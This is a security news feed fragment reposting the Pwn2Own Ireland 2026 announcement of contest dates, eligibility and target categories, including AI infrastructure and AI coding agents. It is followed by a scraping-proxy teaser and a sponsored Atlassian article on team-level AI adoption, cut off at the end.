<guid isPermaLink="true">https://tsecurity.de/de/3684491/it-security-nachrichten/pwn2own-ireland-2026-new-targets-and-categories/</guid>
<pubDate>Tue, 21 Jul 2026 19:45:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>If you just want to read the rules, you can find them </em><a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank"><em>here</em></a><em>. </em></p><p class=""> </p><p class="">Pwn2Own Ireland returns for 2026, and it’s the third year for this event in the Emerald Isle. Despite the dreary Irish skies (and the threat of a random <a href="https://youtube.com/shorts/PjpvUdhn6e0?feature=share">banshee</a>), we had an amazing event, even if we did end up in a <a href="https://youtu.be/ruxOpC-b-yM?si=Epu-ewvSe5VNQNbP&amp;t=333">jail</a> at the end. With that in mind, we’re excited to return to Cork this fall for yet another great Pwn2Own event. We’ll also be returning to some of the great pubs Ireland has to offer in the evenings and wrapping the event up at a special location (stay tuned for that announcement).</p><p class="">As for the contest itself, it will run from October 6-9, 2026. As always, we’ll have a random drawing to determine the schedule of attempts on the first day of the contest, and we will proceed from there. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2026. There are no exceptions for late entries, so if you have questions, please contact us at <a href="mailto:pwn2own@trendmicro.com">pwn2own@trendmicro.com</a> (note the address). We will be happy to address your issues or concerns directly.</p><p class="">Due to the overwhelming amount of registrations and last-minute entries for our Pwn2Own Berlin event, we’re changing who can enter the contest a bit to ensure it’s fair for all researchers. To enter, you must have received an aggregate bounty payment totaling at least $15,000 during their life-time participation in ZDI. This includes past Pwn2Own events and our regular bug bounty program. We recognize there may be some who haven’t participated in the past with great exploits to demonstrate, so we will also accept up to 10 new contestants at our discretion. We’re capping the number of entries to 80 this year. Once we have 80 qualifying entries, we will close registration. That means if you want to enter, it is in your best interest to contact us sooner rather than later. Please read the rules <em>thoroughly</em> to ensure you meet all the requirements.</p><p class="">Now on to this year’s target categories. We’ll have seven different categories for this year’s event:</p>





















  
  



<p><a data-preserve-html-node="true" name="top"></a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#phones">-- Mobile Phones</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#smarthome">--	Smart Home Devices</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#wellness">-- Wellness</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#printers">-- Printers</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#messaging">--	Messaging</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#infrastructure">-- AI Infrastructure</a><br><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#agents">-- AI Coding Agents</a>  </p>




  <p class="">Let’s take a look at each category in more detail, starting with mobile phones.</p>





















  
  



<p><a data-preserve-html-node="true" name="phones"></a> </p>




  <p class=""><strong>The Target Phones</strong></p><p class="">Back in Amsterdam where this contest originated, it was originally dubbed “Mobile Pwn2Own” and our focus was strictly on phones. Mobile handsets remain at the heart of this event, and some of the Samsung entries from last year were absolutely smashing. As always, these phones will be running the latest version of their respective operating systems with all available updates installed. Last year we also introduced the USB attack vector, but no one submitted an entry for it. We’ll see if that changes this year.</p><p class="">Otherwise, contestants must compromise the device by browsing to content in the default browser for the target under test or by communicating with the following short-distance protocols: near field communication (NFC), Wi-Fi, or Bluetooth. The awards for this category are:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ad3a0f11-b441-438f-b5f5-7cf758e0fa28/Phones.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="smarthome"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Smart Home Devices</b></p>




  <p class="">As you might have noticed, we have eliminated most of the consumer-related devices from this year’s event. However, there are still a few “pro-sumer” devices that still could have an impact on enterprises, and the first of these categories are the devices that control other devices and services. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/a59fbdac-7b9b-41d6-8af9-ff76fb5c167e/SmartHome.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="wellness"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Wellness Category</b></p>




  <p class="">This is one of the new categories this year and our first foray into the world of healthcare devices. However, we don’t intend to make this too easy. Entries that require physically pressing any button on the target, or the use of any information, code or PIN printed on the device, are out of scope. Entries that require the contestant to be paired to the target prior to the start of the attempt are not in scope. An attempt in this category must be launched against the target’s exposed network services, RF attack surface, or exposed features from the contestant’s laptop within the contest network.</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/e9489310-7273-4a4d-8001-4086acf0a1f4/Wellness.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="printers"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">Rage Against the Printers </b></p>




  <p class="">Printers have long been the source of jokes and memes, but they are also an often overlooked attack surface in your office. The printer category always produces some interesting results, often by playing music it shouldn’t or the occasional Rick Roll. We’ve reduced the number of targets in this category this year, but we still expect to see some interesting exploits in these oft unheralded targets. </p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/36a174ff-094f-4501-b25d-d911b2308a61/Printers.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="messaging"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">The Messaging Category</b></p>




  <p class="">We introduced WhatsApp as a target last year and came close to seeing a functioning exploit. Sadly, that didn’t happen. However, WhatsApp is used by more than three billion people globally, and some of the messages transmitted can be quite sensitive. That’s why we are bringing it back and hoping for some better results. We know the bugs are out there. We’re just hoping the right researcher decides to show us an exploit that leads to code execution. All of the target handset will be available as clients. Here’s the full prize list for Messaging category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/99bef9c6-0707-41de-a899-5965c2b856d9/Message.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="infrastructure"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Infrastructure Category</b></p>




  <p class="">We introduced these targets at Pwn2Own Berlin, and we saw such…uh…enthusiasm from the community that we decided to immediately bring them back for our Ireland event. An attempt in this category must be launched from the contestant’s laptop. Here’s a look at the targets and awards in the AI Infrastructure category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/ecfb8f22-24a5-4c47-8a08-0471c5de356c/AI_Infrastucture.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" name="agents"></a>
<a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>
<p><b data-preserve-html-node="true">AI Coding Agent Category</b></p>




  <p class="">Let’s face it. At some point or another, we’ve probably all vibe coded something. There’s no shame in that, but how secure are the tools we use for vibe coding? Well, let’s take the most popular choices and find out. A successful entry must interact with a contestant-controlled resource (e.g. web page, repository, media file) to exploit a vulnerability within the coding agent. The attack vector of the entry must be a common coding agent use case. There are few things out of scope here as well. UI spoofing or misrepresentation unrelated to permission prompts, model jailbreaks or prompt outputs that do not cross security boundaries, and vulnerabilities that require unsafe or permission-less modes are just a few of the things not allowed. As this is a recently updated category, please read the rules carefully to ensure your entry qualifies. Here’s a look at the targets and awards in the AI Coding Agent category:</p>





















  
  














































  

    
  
    

      

      
        <figure class="
              sqs-block-image-figure
              intrinsic
            ">
          
        
        

        
          
            
          
            
                
                
                
                
                
                
                
                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg" data-image-dimensions="1024x576" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w" width="1024" height="576" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/2192242e-3b06-474e-b18b-308e8a47079a/Coding_Agents.jpg?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
          
        

        
      
        </figure>
      

    
  


  


<p><a data-preserve-html-node="true" href="https://www.thezdi.com/blog/2026/7/21/pwn2own-ireland-2026-new-targets-and-categories#top"><i data-preserve-html-node="true">Back to top</i></a></p>




  <p class=""><strong>Master of Pwn</strong></p><p class="">No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick <a href="https://pbs.twimg.com/media/Eyexso3WUAYbXPK?format=jpg&amp;name=4096x4096">trophy</a>, a different sort of <a href="https://twitter.com/thezdi/status/1240400682034909187">wearable</a>, and brings with it an additional 65,000 ZDI reward points (instant <a href="https://www.zerodayinitiative.com/about/benefits/">Platinum</a> status in 2027).</p><p class="">For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt. For example, someone registers for the Apple iPhone 15 with the Kernel Bonus Add-on. During the attempt, the contestant drops the Kernel Bonus Add-on but completes the attempt. The final point total will be 20 Master of Pwn points.</p><p class=""><strong>The Complete Details</strong></p><p class="">The full set of rules for Pwn2Own Ireland 2026 can be found <a href="https://www.zerodayinitiative.com/Pwn2OwnIreland2026Rules.html" target="_blank">here</a>. They may be changed at any time without notice. We <strong>highly encourage</strong> potential entrants to read the rules <em>thoroughly</em> and <em>completely</em> should they choose to participate. We also encourage contestants to read <a href="https://www.zerodayinitiative.com/blog/2022/5/3/what-to-expect-when-exploiting-a-guide-to-pwn2own-participation" target="_blank">this blog</a> covering what to expect when participating in Pwn2Own.</p><p class="">Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at <a href="mailto:pwn2own@trendmicro.com?subject=Pwn2Own%20Tokyo%202023%20Registration">pwn2own@trendmicro.com</a> to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing to determine the contest order. Registration closes at 5:00 p.m. Irish Standard Time on Oct 1st, 2025.</p><p class=""><strong>The Results</strong></p><p class="">We’ll be <a href="https://www.zerodayinitiative.com/blog" target="_blank">blogging</a> and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. Follow us on Twitter at <a href="https://twitter.com/thezdi" target="_blank">@thezdi</a> and <a href="https://twitter.com/trendaisecurity" target="_blank">@trendaisecurity</a>, and keep an eye on the <a href="https://twitter.com/search?q=%23p2oireland">#P2OIreland</a> hashtag for continuing coverage. </p><p class="">We look forward to seeing everyone in Cork, and we look forward to seeing what new exploits and attack techniques they bring with them.</p><p class=""> </p><p class="">©2026 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, TrendAI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why Do Some Proxies Work Fine for Search But Fail Once You Start Filtering Results?]]></title>
<description><![CDATA[Automated web scraping, market intelligence data gathering, and large-scale search engine extraction platforms frequently hit an invisible wall. A collection of proxy IPs might execute initial search queries flawlessly, yielding a standard 200 OK status code and complete HTML payloads.…
Read more...]]></description>
<link>https://tsecurity.de/de/3684487/it-security-nachrichten/why-do-some-proxies-work-fine-for-search-but-fail-once-you-start-filtering-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684487/it-security-nachrichten/why-do-some-proxies-work-fine-for-search-but-fail-once-you-start-filtering-results/</guid>
<pubDate>Tue, 21 Jul 2026 19:44:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Automated web scraping, market intelligence data gathering, and large-scale search engine extraction platforms frequently hit an invisible wall. A collection of proxy IPs might execute initial search queries flawlessly, yielding a standard 200 OK status code and complete HTML payloads.…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/why-do-some-proxies-work-fine-for-search-but-fail-once-you-start-filtering-results/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/why-do-some-proxies-work-fine-for-search-but-fail-once-you-start-filtering-results/">Why Do Some Proxies Work Fine for Search But Fail Once You Start Filtering Results?</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Atlassian: Research shows organizations should approach AI at the team level, not the individual level, to achieve true ROI]]></title>
<description><![CDATA[Presented by Atlassian Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at ...]]></description>
<link>https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684451/it-nachrichten/atlassian-research-shows-organizations-should-approach-ai-at-the-team-level-not-the-individual-level-to-achieve-true-roi/</guid>
<pubDate>Tue, 21 Jul 2026 19:06:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><i>Presented by Atlassian </i></p><hr><p>Most companies are approaching AI adoption backwards by optimizing how individuals use AI instead of how teams work together, said Dr. Molly Sands, head of the Teamwork Lab at Atlassian, during a fireside chat with VentureBeat senior technology contributor Sam Witteveen at <a href="https://venturebeat.com/vbtransform2026">VB Transform 2026</a>.</p><p>Sands leads a team of behavioral scientists and psychologists who study how AI is reshaping the way people work together, using those findings to help organizations redesign how work gets done.</p><p>"We don't just study it, we also actively go in and change it," she explained. Her teams teach new ways of working and remap how work flows across companies, a challenge that many organizations are still struggling with, she said.</p><h2>Why AI speed isn’t translating into ROI</h2><p>Atlassian's annual State of Teams Report, which this year surveyed 12,000 global knowledge workers and interviewed roughly 200 Fortune 1000 executives, found a significant disconnect between activity and value, showing that everyone is using AI, while very few can yet locate where it pays off.</p><p>"89% of those executives told us that individuals are speeding up in their companies, and only 6% of them said they could point to specific examples of clear ROI," Sands said.</p><p>But roughly 14% of teams had translated AI usage into real value — meaning a single organization could contain a handful of high-performing teams surrounded by others seeing no return at all.</p><p>Those leading teams shared three characteristics: context, workflows and culture. The teams pulling ahead were building what Atlassian calls a context graph by capturing goals, decisions, and organizational knowledge in shared digital records rather than leaving them in individual memory. Across products such as Jira and Confluence, the graph connects work items, goals and the people doing them, giving AI access to the organizational context it needs.</p><p>On workflows, the winning teams redesigned entire end-to-end processes rather than simply accelerating isolated tasks. Otherwise, speeding up individuals who are pointed in slightly different directions only causes them to “very quickly start to crash into each other,” as Sands puts it. </p><p>On culture, the fastest-moving teams worked under leaders who explicitly encouraged learning and experimentation, while making it clear that some experiments would fail.</p><h2>How leaders can move AI from individual hack to team advantage</h2><p>Experimentation and constraints are the fastest route to learning, Sands said. The teams seeing the biggest gains were deliberately imposing constraints on how they worked, from breaking every task into the smallest practical unit of work (a single story point) to committing to write no code by hand for a week.</p><p>"Most of it is not sustainable to do forever, but it is a really, really fast way to learn," she said.</p><p>Sands argued that another obstacle isn’t the technology itself but the fact that employees are figuring out AI on their own. Every worker develops different prompts, agents and assumptions, creating another layer of unspoken knowledge inside teams that rarely translates into organizational performance.</p><p>To counter that, Atlassian experimented with AI working agreements at the start of projects, asking teams to decide not only what they would use AI for, but what they would deliberately avoid using it for, which agents they would share and what common skills would keep everyone working from the same context. Teams that adopted the practice used AI more, moved faster, made better decisions and ultimately produced higher-quality work.</p><p>The broader lesson, Sands said, is that AI isn’t creating entirely new management problems so much as exposing old ones. Teams have always struggled with hidden assumptions and different mental models of their work. AI simply makes those gaps more consequential, increasing the importance of shared context and explicit ways of working.</p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a 